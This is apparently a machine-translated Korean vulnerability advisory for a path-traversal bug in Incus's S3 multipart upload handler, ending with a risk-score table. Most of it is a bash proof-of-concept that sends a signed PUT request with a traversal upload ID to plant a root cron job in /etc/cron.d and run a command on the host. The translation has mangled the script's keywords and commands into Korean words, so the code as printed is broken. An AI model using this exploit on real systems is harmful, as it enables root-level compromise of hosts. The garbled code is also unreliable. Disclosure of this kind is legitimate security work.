Incus는 S3 멀티파트 업로드에서 경로 탐색을 통해 임의 파일 쓰기를 수행합니다.
S3 프로토콜 업로드 엔드포인트는 경로 탐색에 취약하며 호스트에서 임의 파일 생성을 허용합니다. 이 동작으로 인해 임의의 명령이 실행될 수 있습니다.
internal/server/storage/s3/local/multipart.go에서 사용자 제어 업로드 ID는 삭제되지 않은 업로드 디렉터리에 추가됩니다. https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33
# S3 API를 노출하고 버킷을 생성합니다.
incus 구성 세트 core.storage_buckets_address=:8555
incus 스토리지 볼륨은 기본 버킷을 생성합니다.
#> 자격 증명을 참고하세요
아래 스크립트는 대부분 생성되었습니다.
#!/usr/bin/env bash
set -euo 파이프실패
if [ $# -lt 4 ]; 그럼
printf '사용: $0 엔드포인트 버킷 액세스 키 비밀 키\n' >&2
1번 출구
fi
엔드포인트="${1%/}"
버킷="${2}"
액세스="${3}"
비밀="${4}"
지역="us-east-1"
서비스="s3"
키="아무거나"
부분="1"
upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d"
target="/etc/cron.d/part-00001"
cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target"
body="* * * * * 루트 /bin/sh -c '$cmd'
"
uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key"
uri_path="${uri_path#/}"
uri_path="/$uri_path"
호스트="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')"
qs="partNumber=$part&uploadId=${upload_id//\//%2F}"
url="$endpoint/$bucket/$key?$qs"
amz_date=$(날짜 -u +%Y%m%dT%H%M%SZ)
date_scope="${amz_date:0:8}"
범위="$date_scope/$region/$service/aws4_request"
body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}')
서명됨="호스트;x-amz-content-sha256;x-amz-date"
정식="PUT
$uri_path
$qs
호스트:$호스트
x-amz-content-sha256:$body_hash
x-amz-날짜:$amz_date
$서명됨
$body_hash"
canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')"
string_to_sign="AWS4-HMAC-SHA256
$amz_date
$범위
$canonical_hash"
hmac_hex() {
printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256
}
k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256)
k_date=$(hmac_hex "$k_date" "$date_scope")
k_region=$(hmac_hex "$k_date" "$region")
k_service=$(hmac_hex "$k_region" "$service")
k_signing=$(hmac_hex "$k_service" "aws4_request")
sig=$(hmac_hex "$k_signing" "$string_to_sign")
auth="AWS4-HMAC-SHA256 자격 증명=${access}/${scope},SignedHeaders=${signed},Signature=${sig}"
printf '# 본문:\n%s' "${body}"
컬 -ksS -X PUT "${url}" \
-H "호스트: ${host}" \
-H "X-Amz-날짜: ${amz_date}" \
-H "X-Amz-Content-Sha256: ${body_hash}" \
-H "인증: ${auth}" \
--data-binary "${body}"
호스트에 임의의 파일 쓰기. 임의의 명령 실행으로 이어질 가능성이 있습니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 99.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 99.00 |
VPI 공식 vpi-v1 기준